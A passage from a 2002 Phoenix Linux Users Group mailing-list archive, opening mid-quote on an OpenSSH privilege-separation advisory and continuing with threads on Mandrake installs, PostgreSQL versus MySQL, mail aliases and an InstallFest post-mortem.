IMMEDIATELY, we can perhaps make a 3.3.1p release on Friday > > > which supports these systems better. So send patches by Thursday > > > night please. Then on Tuesday or Wednesday the complete bug report > > > with patches (and exploits soon after I am sure) will hit BUGTRAQ. > > > > > > Let me repeat: even if the bug exists in a privsep'd sshd, it is not > > > exploitable. Clearly we cannot yet publish what the bug is, or > > > provide anyone with the real patch, but we can try to get maximum > > > deployement of privsep, and therefore make it hurt less when the > > > problem is published. > > > > > > So please push your vendor to get us maximally working privsep patches > > > as soon as possible! > > > > > > We've given most vendors since Friday last week until Thursday to get > > > privsep working well for you so that when the announcement comes out > > > next week their customers are immunized. That is nearly a full week > > > (but they have already wasted a weekend and a Monday). Really I think > > > this is the best we can hope to do (this thing will eventually leak, > > > at which point the details will be published). > > > > > > Customers can judge their vendors by how they respond to this issue. > > > > > > OpenBSD and NetBSD users should also update to OpenSSH 3.3 right away. > > > On OpenBSD privsep works flawlessly, and I have reports that is also > > > true on NetBSD. All other systems appear to have minor or major > > > weaknesses when this code is running. > > > > > > (securityfocus postmaster; please post this through immediately, since > > > i have bcc'd over 30 other places..) > > _______________________________________________ > > openssh-unix-announce@mindrot.org mailing list > > http://www.mindrot.org/mailman/listinfo/openssh-unix-announce > > > > > > > > > > For help, email discuss-help@mandrakesecure.net; to unsubscribe send a > > message to discuss-unsubscribe@mandrakesecure.net. To visit > MandrakeSecure, > > go to http://www.mandrakesecure.net/. > > > > -- > MandrakeSoft Security; http://www.mandrakesecure.net/ > "lynx -source http://www.freezer-burn.org/bios/vdanen.gpg | gpg --import" > 1024D/FE6F2AFD 88D8 0D23 8D4B 3407 5BD7 66F9 2043 D0E5 FE6F 2AFD > > Current Linux kernel 2.4.18-6.10mdk uptime: 16 days 17 hours 58 minutes. > > > -- > Kevin O'Connor > > "People will be free to devote themselves to activities that are fun ... > > The GNU Manifesto - Copyright (C) 1985, 1993 Free Software Foundation, Inc. ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 03:00:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mario Hines) Date: Mon, 24 Jun 2002 20:00:59 -0700 (PDT) Subject: Kernal Panic fix for Mandrake 8.2 Install Message-ID: <20020625030059.49339.qmail@web20602.mail.yahoo.com> To those who were at the InstallFest: I went to the InstallFest to get help on my problem with loading Mandrake 8.2. People helped as much as they could, but I came up with no solutions. I have a ProStar 5190S laptop which PREVIOUSLY had Mandrake 7.2 on it. Now, . . . I have Mandrake 8.2 loaded on it. For those of you who MAY have a problem loading Mandrake 8.2 on your computer/laptop and you come up with a "Kernel Panic" error on install. When it comes to the Pre-Install screen. Go to help and type in linux(expert) and the amount of memory you have. Seemingly, Mandrake 8.2 had an issue with recognizing the amount of RAM I had. I had to specify it. After that, . . . it loaded PERFECTLY. :-). To those that helped me, thanks. -Mario __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 03:09:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nismo96) Date: Mon, 24 Jun 2002 20:09:04 -0700 Subject: Install Fest Leftovers References: <02062411335104.07972@nova.wedge.org> Message-ID: <3D17DED0.20100@earthlink.net> I'd like to get my stuff back. Can I arrange a time to pick them up? 2 - AT Style keyboards 1 - Serial Mouse 1- PS/2 Mouse 1 - 16 port 10BaseT hub. Thanks, Ben Chacko Jim wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > >OK - I have two meeses and a keyboard and two multiport hubs that I took home >from the Install Fest. The owners can either claim them (I know who you are) >or rest assured that they have found a good home. >- -- >Jim > >Freedom is worth protecting > >-----BEGIN PGP SIGNATURE----- >Version: PGP 6.5.8 > >iQA/AwUBPRdmDysk3ywszI1FEQIS4ACgvcOP+2BpppZfUxTDM5ajsqxJYwkAniak >uK4OiqqB4g+PwczG1TTkv5du >=J8I2 >-----END PGP SIGNATURE----- >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 03:41:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Charlie Bullen) Date: Mon, 24 Jun 2002 20:41:39 -0700 Subject: Linux At Work Message-ID: <001e01c21bfa$37703670$6400a8c0@amd1000> This is a multi-part message in MIME format. ------=_NextPart_000_001B_01C21BBF.8A2AA7F0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable New Report from Work. Today our office got hit with a virus of some kind, I'm not sure exacty = the mechanism, but the SonicWall cut everyone off from the internet for = 15-20 minutes and since most of what we do requires constant acces to = the web, every one had to stop working, everyone but me that is as I was = using my linux work station. Regards, Charlie ------=_NextPart_000_001B_01C21BBF.8A2AA7F0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
New Report from Work.
 
Today our office got hit with a virus = of some kind,=20 I'm not sure exacty the mechanism, but the SonicWall cut everyone off = from the=20 internet for 15-20 minutes and since most of what we do requires = constant acces=20 to the web, every one had to stop working, everyone but me that is as I = was=20 using my linux work station.
 
Regards,
 
 
Charlie
------=_NextPart_000_001B_01C21BBF.8A2AA7F0-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 04:12:34 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Mon, 24 Jun 2002 21:12:34 -0700 (MST) Subject: PostgreSQL versus MySQL (fwd) Message-ID: In response to the earlier question, Scott Walters who is not on the PLUG list writes: -------- PostgreSQL supports triggers, constraints, PL, subqueries, and serveral other things. MySQL supports replication, precompiled queries (huge speed up on resident code), and is optimized for throughput in addition to speed. Both of them are very fast, and out perform almost all commercial databases, hands down. I wouldn't sweat it too much either way unless you specificly need a feature that only one or the other has. They are both excellent systems. I'd use MySQL where speed was the biggist factor. I'd use Postgres where complex reporting or building a large ("Enterprise") data warehouse was the concern. -scott From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 04:20:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Mon, 24 Jun 2002 21:20:00 -0700 Subject: Linux At Work References: <001e01c21bfa$37703670$6400a8c0@amd1000> Message-ID: <001c01c21bff$9277cb50$2f7c0d82@peyote> This is a multi-part message in MIME format. ------=_NextPart_000_0019_01C21BC4.E5ECB330 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable nice job, "BRAVO"!!!!!=20 so my guess, is that upper management has a slighty different view on = Linux now. but then again thats exactly what i would expect to happen in = a situation like that. slr ----- Original Message -----=20 From: Charlie Bullen=20 To: plug-discuss@lists.plug.phoenix.az.us=20 Sent: Monday, June 24, 2002 8:41 PM Subject: Linux At Work New Report from Work. Today our office got hit with a virus of some kind, I'm not sure = exacty the mechanism, but the SonicWall cut everyone off from the = internet for 15-20 minutes and since most of what we do requires = constant acces to the web, every one had to stop working, everyone but = me that is as I was using my linux work station. Regards, Charlie ------=_NextPart_000_0019_01C21BC4.E5ECB330 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
nice job, "BRAVO"!!!!!
so my guess, is that upper=20 management has a slighty different view on Linux now. but then = again thats=20 exactly what i would expect to happen in a situation like = that.
 
slr
----- Original Message -----
From:=20 Charlie=20 Bullen
To: plug-discuss@lists.= plug.phoenix.az.us=20
Sent: Monday, June 24, 2002 = 8:41 PM
Subject: Linux At Work

New Report from Work.
 
Today our office got hit with a virus = of some=20 kind, I'm not sure exacty the mechanism, but the SonicWall cut = everyone off=20 from the internet for 15-20 minutes and since most of what we do = requires=20 constant acces to the web, every one had to stop working, everyone but = me that=20 is as I was using my linux work station.
 
Regards,
 
 
Charlie
------=_NextPart_000_0019_01C21BC4.E5ECB330-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 05:08:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lynn David Newton) Date: Mon, 24 Jun 2002 22:08:17 -0700 Subject: PostgreSQL versus MySQL (fwd) In-Reply-To: References: Message-ID: <15639.64193.770462.651095@bela.interhack.net> Thanks to those who responded on the question of PostgreSQL versus MySQL. I was not aware that PostgreSQL was as fully developed as it is. As it happens, the application we have in mind is actually fairly simple, so either one is adequate, and since the people I'm working with favor PostgreSQL, and it's already available on their systems, that's what it will be. That's great, because I get to learn something new I can add to my resumé! -- Lynn David Newton Phoenix, AZ From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 06:01:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alan Dayley) Date: Mon, 24 Jun 2002 23:01:04 -0700 Subject: PLUG searchable database In-Reply-To: <15639.64193.770462.651095@bela.interhack.net> References: <15639.64193.770462.651095@bela.interhack.net> Message-ID: <200206242301.05046.alandd@mindspring.com> The searchable PLUG email archives were hosted at www.aztechbiz.com. This site is no longer up. Did the searchable database get hosted somewhere else? Alan From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 01:03:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Digital Wokan) Date: Fri, 21 Jun 2002 18:03:11 -0700 Subject: Another Linux at Work story Message-ID: <200206211803.11628.wokan@cox.net> My boss came in to ask me for some info from our site and I happened to have a SQL interface up in my window. He'd never seen Window-shade mode before (and we both tend to work with a lot of windows "open"), much less Linux on a desktop, so when he asked if I could set up his computer to do that, I told him to let me convert more of my work to be done on my Linux system before I dove into teaching him a new OS. He said he really didn't want to learn anything new. He works with a lot of spreadsheets, so I explained the biggest difference would be that OpenOffice tends to use semi-colons where Excel uses commas in formulas. Turns out he doesn't even use functions for most of what he does. He just sends a bunch of figures out to the head office and lets them do all the crunching. I figure with a few more lockups in Excel, or IE freezes, or another large batch of infected email warnings comes in (thankfully the hosts keep the scanner up-to-date), and we've got a ready and eager convert on our hands. (Now if I could just find myself an MS SQL Enterprise Manager that runs on Linux. Maybe with wine...) From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 06:47:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: 24 Jun 2002 23:47:12 -0700 Subject: PLUG searchable database In-Reply-To: <200206242301.05046.alandd@mindspring.com> References: <15639.64193.770462.651095@bela.interhack.net> <200206242301.05046.alandd@mindspring.com> Message-ID: <1024987633.29452.248.camel@hawk> hmmmm... I think I remember Eric posting that they had to change domain names. (though I don't remember what it was changed *to* sorry). Carl P. On Mon, 2002-06-24 at 23:01, Alan Dayley wrote: > The searchable PLUG email archives were hosted at www.aztechbiz.com. This > site is no longer up. Did the searchable database get hosted somewhere else? > > Alan > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 06:45:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kurt Granroth) Date: Mon, 24 Jun 2002 23:45:12 -0700 Subject: PLUG searchable database In-Reply-To: <200206242301.05046.alandd@mindspring.com> References: <15639.64193.770462.651095@bela.interhack.net> <200206242301.05046.alandd@mindspring.com> Message-ID: <200206242345.12327@granroth.org> On Monday 24 June 2002 11:01 pm, Alan Dayley wrote: > The searchable PLUG email archives were hosted at www.aztechbiz.com. > This site is no longer up. Did the searchable database get hosted > somewhere else? This isn't an answer to your question, but I always do searches on the PLUG archives using google. I just append "site:pluglist.mybutt.net" and it's as good as having a Search feature right on the email archives. -- Kurt Granroth - "KDE -- Conquer Your Desktop" KDE Developer/Evangelist | granroth@kde.org http://www.granroth.org | kurt@granroth.org From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 06:45:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bob Cober) Date: Mon, 24 Jun 2002 23:45:00 -0700 Subject: RH 7.3 Message-ID: <3D18116C.1040804@cox.net> Just installed RedHat 7.3 on a Dell Inspiron 8000 Laptop. Technically it's a work Laptop, so I still need to dual boot with win2k. :-( I already had win2k installed on a small partition. Install went super smooth. During install they post all sorts of trivia and stuff. Useless but still very polished and well done. Install Auto-configured grub to dual boot with win2k. Install Auto detected Linksys Wireless card - didn't even have to enter essid or channel. Not sure if it detected Nvidia GeForce Go chipset as I manually set up the latest nvidia drivers. Funny thing, after installing the kernal rpm it gave a message to the effect of "Tainting kernel with non-GPL module - success" hehe.... Anyway, just thought I'd post an outstanding install experience. I was really impressed how polished and smooth it was. Now I'm gonna try out some of the new goodies... From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 07:46:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (MCR) Date: Tue, 25 Jun 2002 00:46:16 -0700 (PDT) Subject: Linux At Work In-Reply-To: <001c01c21bff$9277cb50$2f7c0d82@peyote> Message-ID: <20020625074616.62236.qmail@web13904.mail.yahoo.com> I second this. That is just beautiful! mike --- slr wrote: > nice job, "BRAVO"!!!!! > so my guess, is that upper management has a slighty > different view on Linux now. but then again thats > exactly what i would expect to happen in a situation > like that. > > slr > ----- Original Message ----- > From: Charlie Bullen > To: plug-discuss@lists.plug.phoenix.az.us > Sent: Monday, June 24, 2002 8:41 PM > Subject: Linux At Work > > > New Report from Work. > > Today our office got hit with a virus of some > kind, I'm not sure exacty the mechanism, but the > SonicWall cut everyone off from the internet for > 15-20 minutes and since most of what we do requires > constant acces to the web, every one had to stop > working, everyone but me that is as I was using my > linux work station. > > Regards, > > > Charlie > __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 12:26:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lee Einer) Date: Tue, 25 Jun 2002 05:26:02 -0700 Subject: The Ballad of David Grunman References: <200206212139.35746.dennisk@sahuaro.f2s.com> Message-ID: <3D18615A.D1189BFD@cox.net> FWIW The idiot's name was actually David Grundman, the saguaro sent him to his just reward in 1982, and the song was performed by the Austin Lounge Lizards. -- Lee Einer http://members.cox.net/appealsman/ From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 13:03:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 25 Jun 2002 06:03:50 -0700 Subject: The Ballad of David Grunman In-Reply-To: <3D18615A.D1189BFD@cox.net> References: <200206212139.35746.dennisk@sahuaro.f2s.com> <3D18615A.D1189BFD@cox.net> Message-ID: <1025010230.3d186a366ff13@webmail.freedom2surf.net> Quoting Lee Einer : > FWIW > > The idiot's name was actually David Grundman, the saguaro sent him to > his just reward in 1982, and the song was performed by the Austin > Lounge Lizards. > -- > Lee Einer Thanks Lee. Having the spelling right (name changed to protect from law suits?) brought uo a number of references on Google. Dennis PS - I checked out your site, you do nice work. ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 22:02:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug@unfm00.com) Date: Mon, 24 Jun 2002 18:02:20 -0400 Subject: Test Message-ID: This is a test of the National Emailing System. This is only a test. Thank you BEEEEEEEP. This concludes my test, Thank you. jon k. -------------------------------------------------------------------- mail2web - Check your email from the web at http://mail2web.com/ . From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 17:26:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (sundar @esaravana) Date: Mon, 24 Jun 2002 10:26:01 -0700 Subject: mail aliases, mailinglist and netscape mail Message-ID: <3D175629.9040900@esaravana.com> Hello, I have couple of mail aliases for my base e-mail address(linux@esaravana.com). Eg, adrenaline@esaravana.com for my rock climbing group. I use appropriate alias to subscribe to different groups and receive mails. The problem comes when I post messages to the group. The mail goes back as my base e-mail address(linux@esaravna.com), rather than as my aliased e-mail address(adrenaline@esaravana.com) and gets rejected. Is there anyway I can add mail aliases to Netscape mail client and choose appropriately as I send mails. Or should I do anything on my mail server. I am running RedHat 7.1 with Sendmail as my smtp server. Sundar From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 06:41:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (Igor) Date: Mon, 24 Jun 2002 23:41:12 -0700 Subject: please, help her Message-ID: <3D181088.FF6BA22@telocity.com> Hi I've found your e-mail address on this page http://plug.phoenix.az.us/ I've have a friend in Phoenix who is fed up with stability of the WINDOWS and constant fight with the VIRUSES. ( she lost alle-mails, family photos etc etc ) I've suggested her to try LINUX...but, unfortunately, she does not know to install it by her self... Personally, I think, installing mandrake should not be a problem but this is another story... so, can you help her out ? or perhaps some of your friends ? running REALPLAYER is a MUST (+ mozilla 1.0) Her PC should be DUAL BOOT... preferably MANDRAKE + WINDOWS ME ( which is on her box right now) her address: MaryPat McDonald mpmcd@qwest.net or usamacka@hotmail.com Regards Igor P.S.: I can not help her, because I live in San Jose, California (Silicon Valley) From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 18:18:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Mon, 24 Jun 2002 11:18:18 -0700 Subject: First Crack at a Post Mortem Message-ID: <20020624182048.5CF611BD74@autumn.unitywave.com> I am including it. I will put this up on the main Install Fest page, before the Press Release when everyone agrees that this is appropriate. I am also going to update the Contributors page to add Lycoris, TOLIS, and UnityWave. Lemme know what you think of this as a post mortem. ---------- Does the word "success" ring a bell? Parking Lot A at SCC was nearly deserted at 8:30 a.m. The Student Center was locked and dark. By 9:00 a.m. the Turquoise Room was filled with PLUG members setting up the room for an unknown number of "customers". I was under the impression that all of our communications with the outside world said that the Install Fest would run from 10:00 a.m. till 4:00 p.m. That did not stop "customers" from coming in early - or often.

The only problem that we encountered was finding table space to put all of the machines that were brought in to have Linux installed on. It seemed to me that by 10:30 or 11:00 we were scrambling to find a place for a customer and his PLUG installer to set up. That problem continued well into the afternoon hours. That was about the only problem that we encountered. Okay, there was a need for a blank floppy for a network install but who uses floppies any more?

There seemed to always be PLUG members ready and willing to help with the next install. During those "down" times, they spent a lot of time answering questions and helping to resolve issues. The presentations that were held in the Peridot Room seemed to go very well. I overheard a lot of comments and they were all extremely positive. The giveaways, as always, went over very well. Without the support of the vendors, we would never be able to show the newbies that Linux is about giving and sharing by giving away so many goodies. Only the RMS video in the hallway met with less than stellar success, but that may be a result of the location.

So what were the numbers? There were 107 people who signed in. There were somewhere between 150 and 200 raffle tickets that disappeared from the end of the roll. There were 39 installs. I know of at least two installs that were not completely successful, but I know that one was a hardware issue. That boils down to over six installs per hour - and that is an impressive number.

Who do we need to thank? This could be a very long list. We should start with the Install Fest Committee. Bill, Dennis, Alan, Hans, Thurm, and Vic did a great job in covering all of the contingencies. I want to single out Thurm for providing the facilities at SCC. His head is an appropriate repository for the Red Hat fedora, because without the facilities the Install Fest would not have been as successful.

We need to thank the vendors who supported the PLUG Install Fest. You can see the list of all the supporters by clicking on the Contributors link above (it has been updated to reflect the late-commers because they deserve mentioning). I want to single out Red Hat and Lycoris. Not only did they supply merchandise for the giveaways but they also had personal representatives down in the trenches doing installs and answering questions. A tip of Thurm's new fedora to both Red Hat and Lycoris.

But I reserve the biggest THANK YOU to all the PLUG members who showed up to help doing the installs. Maybe we could have done the installs without being in the comfortable confines of the Turquoise Room. Maybe we would have had a superb turnout of customers without the tons of giveaways. But I guarantee that the whole event would have been a miserable experience if the hordes of PLUG members that did the installs and answered the questions and showed the newbies how to get more information and told them how PLUG was always ready to support them were not there. To each and every one of you, stand up and take a bow.

We did learn a few valuable lessons. We learned that we need to find a way to keep a better count of people, members, customers, and window-shoppers. We learned that we need to be prepared for a LOT of customers. We learned that we should be getting more information from the customers, especially things like where they heard about the event, what OS they are replacing or adding to, and what kinds of things they will be using the Linux computer for.

I know that there are a lot of members who were not at the Install Fest. For you, we have a couple of links to pictures taken at the Install Fest. The first one is from Thurm. See them at http://inficad.com/~thurmunit/plug/installfest. Scott Sawyer from Red Hat has a large collection of pictures that he took at the Install Fest. See them at http://www.scottsawyer.org/photo-display/index.cgi under the 2002 year archives. From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 23:23:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jeff James) Date: Mon, 24 Jun 2002 16:23:53 -0700 Subject: Evil Monkeys Message-ID:

I think I saw one of these lurking around the Install-Fest on Saturday.
 
 
 
JJ

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From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 15:11:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (Joel Dudley) Date: Tue, 25 Jun 2002 08:11:24 -0700 Subject: PostgreSQL versus MySQL (fwd) Message-ID: <7D2FB294FA311F4299D03CC8D39043707165AE@mainex5.asu.edu> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --Boundary_(ID_e3NOKOHkKZWFYpJrn6nnOg) Content-type: text/plain; charset="iso-8859-1" In my opinion the speed difference between PostgreSQL and MySQL is negligible. Tim Perdue from SourceForge did a study a while back demonstrating that the newer PostgreSQL was actually faster than MySQL in some cases. Trigger and PL support in PGSQL is very nice and I have never been let down by PostgreSQL. PostgreSQL is the foundational database for all of my Genomics research projects. I am transparently bias on the subject because I have been burned by MySQL a few times so take that into consideration. A replication daemon for PostgreSQL is also coming along nicely. Joel Dudley Faculty Research Associate Arizona State University Kumar Laboratory of Evolutionary Functional Genomics http://lsweb.la.asu.edu/skumar/ -----Original Message----- From: William Lindley [mailto:wlindley@wlindley.com] Sent: Monday, June 24, 2002 9:13 PM To: Phoenix Linux Users Group Subject: Re: PostgreSQL versus MySQL (fwd) In response to the earlier question, Scott Walters who is not on the PLUG list writes: -------- PostgreSQL supports triggers, constraints, PL, subqueries, and serveral other things. MySQL supports replication, precompiled queries (huge speed up on resident code), and is optimized for throughput in addition to speed. Both of them are very fast, and out perform almost all commercial databases, hands down. I wouldn't sweat it too much either way unless you specificly need a feature that only one or the other has. They are both excellent systems. I'd use MySQL where speed was the biggist factor. I'd use Postgres where complex reporting or building a large ("Enterprise") data warehouse was the concern. -scott ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --Boundary_(ID_e3NOKOHkKZWFYpJrn6nnOg) Content-type: text/html; charset="iso-8859-1" Content-transfer-encoding: quoted-printable RE: PostgreSQL versus MySQL (fwd)

In my opinion the speed difference between PostgreSQL = and MySQL is negligible. Tim Perdue from SourceForge did a study a = while back demonstrating that the newer PostgreSQL was actually faster = than MySQL in some cases. Trigger and PL support in PGSQL is very nice = and I have never been let down by PostgreSQL. PostgreSQL is the = foundational database for all of my Genomics research projects. I am = transparently bias on the subject because I have been burned by MySQL a = few times so take that into consideration. A replication daemon for = PostgreSQL is also coming along nicely.

Joel Dudley
Faculty Research Associate
Arizona State University
Kumar Laboratory of Evolutionary Functional = Genomics
http://lsweb.la.asu.edu/skumar/


-----Original Message-----
From: William Lindley [mailto:wlindley@wlindley.com]<= /FONT>
Sent: Monday, June 24, 2002 9:13 PM
To: Phoenix Linux Users Group
Subject: Re: PostgreSQL versus MySQL (fwd)


In response to the earlier question, Scott Walters = <phaedrus@illogics.org>
who is not on the PLUG list writes:

--------

PostgreSQL supports triggers, constraints, PL, = subqueries, and serveral
other things.

MySQL supports replication, precompiled queries (huge = speed up on resident
code), and is optimized for throughput in addition = to speed.

Both of them are very fast, and out perform almost = all commercial
databases, hands down.

I wouldn't sweat it too much either way unless you = specificly need a
feature that only one or the other has. They are = both excellent systems.

I'd use MySQL where speed was the biggist = factor.

I'd use Postgres where complex reporting or building = a large
("Enterprise") data warehouse was the = concern.

-scott

________________________________________________
See http://PLUG.phoenix.az.us/navigator-mail.shtml if = your mail doesn't post to the list quickly and you use Netscape to = write mail.

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= --Boundary_(ID_e3NOKOHkKZWFYpJrn6nnOg)-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 15:47:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Digital Wokan) Date: Tue, 25 Jun 2002 08:47:14 -0700 Subject: mail aliases, mailinglist and netscape mail In-Reply-To: <3D175629.9040900@esaravana.com> References: <3D175629.9040900@esaravana.com> Message-ID: <20020625084714.646c6269.wokan@cox.net> I have something similar, but I use Kmail as my email client. I can associate a given sender profile with a folder, so when I respond to something from the PLUG folder, it goes out as Wokan. (Trying out Sylpheed at work right now and considering it as an alternative, too.) On Mon, 24 Jun 2002 10:26:01 -0700 "sundar @esaravana" wrote: > Hello, > > I have couple of mail aliases for my base e-mail > address(linux@esaravana.com). Eg, adrenaline@esaravana.com for my rock > climbing group. I use appropriate alias to subscribe to different groups > and receive mails. The problem comes when I post messages to the group. > The mail goes back as my base e-mail address(linux@esaravna.com), rather > than as my aliased e-mail address(adrenaline@esaravana.com) and gets > rejected. > > Is there anyway I can add mail aliases to Netscape mail client and > choose appropriately as I send mails. Or should I do anything on my mail > server. > > I am running RedHat 7.1 with Sendmail as my smtp server. > > Sundar > > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 16:47:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Sundar) Date: Tue, 25 Jun 2002 09:47:35 -0700 Subject: mail aliases, mailinglist and netscape mail References: <3D175629.9040900@esaravana.com> <20020625084714.646c6269.wokan@cox.net> Message-ID: <3D189EA7.8010808@esaravana.com> I use Sylpheed at home. So, if you could do the association with that, please let me know. I use Windoze NT at work and tried pre compiled Sylpheed for Win32, but the application crashed badly. (I am still interested in managing multiple aliases from Netscape client. Any takers.. .) Sundar Digital Wokan wrote: >I have something similar, but I use Kmail as my email client. I can associate a given sender profile with a folder, so when I respond to something from the PLUG folder, it goes out as Wokan. (Trying out Sylpheed at work right now and considering it as an alternative, too.) > >On Mon, 24 Jun 2002 10:26:01 -0700 >"sundar @esaravana" wrote: > >>Hello, >> >>I have couple of mail aliases for my base e-mail >>address(linux@esaravana.com). Eg, adrenaline@esaravana.com for my rock >>climbing group. I use appropriate alias to subscribe to different groups >>and receive mails. The problem comes when I post messages to the group. >>The mail goes back as my base e-mail address(linux@esaravna.com), rather >>than as my aliased e-mail address(adrenaline@esaravana.com) and gets >>rejected. >> >>Is there anyway I can add mail aliases to Netscape mail client and >>choose appropriately as I send mails. Or should I do anything on my mail >>server. >> >>I am running RedHat 7.1 with Sendmail as my smtp server. >> >>Sundar >> >> >> >> >> >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 16:52:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (Eric Thelin) Date: Tue, 25 Jun 2002 09:52:56 -0700 (MST) Subject: AzPHP Meeting tonight (6/25) Message-ID: Due to a combination of factors including absence of any volunteers there won't be a presentation at tonight's meeting. Everyone seemed to have a good time a few months ago when we went to Fudd Ruckers so I have decided to have a similar meeting tonight. So here is the plan. We will meet at 7:00 at Bennigans and just discuss random topics of interest. (Or in other words just get together and hang out.) Bennigans is at the corner of Southern and Alma School. Any complaints? Eric From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 17:40:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Tue, 25 Jun 2002 10:40:10 -0700 Subject: Meeting TONIGHT Message-ID: <0206251040100D.07972@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 When: 7:00 p.m. Where: Glendale Community College High Tech 1 Teleconference Room Topic: A Post Mortem on the Install Fest Be There! I hope Steve has access to the Internet and a connection to a projector. Sure will make the presentation a LOT better ::grin:: - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRiq+ysk3ywszI1FEQJVmACg9yUMcJyMCbRN49xg0ff4gnZPJ7UAoIgl t8DIq/FtYP6lzCCFxwXhwPUP =ntXD -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 17:18:52 2002 From: plug-discuss@lists.plug.phoenix.az.us (Chris Cowan) Date: Tue, 25 Jun 2002 10:18:52 -0700 Subject: PostgreSQL versus MySQL (fwd) In-Reply-To: <7D2FB294FA311F4299D03CC8D39043707165AE@mainex5.asu.edu> References: <7D2FB294FA311F4299D03CC8D39043707165AE@mainex5.asu.edu> Message-ID: <20020625171853.0374E50C005@hydra.ctprm.com> For the record, I agree with Joel. Chris Cowan Chief Hybrid UberMonkey Centralized Institute for Applied Neuroinformatics On Tuesday 25 June 2002 08:11 am, you wrote: > In my opinion the speed difference 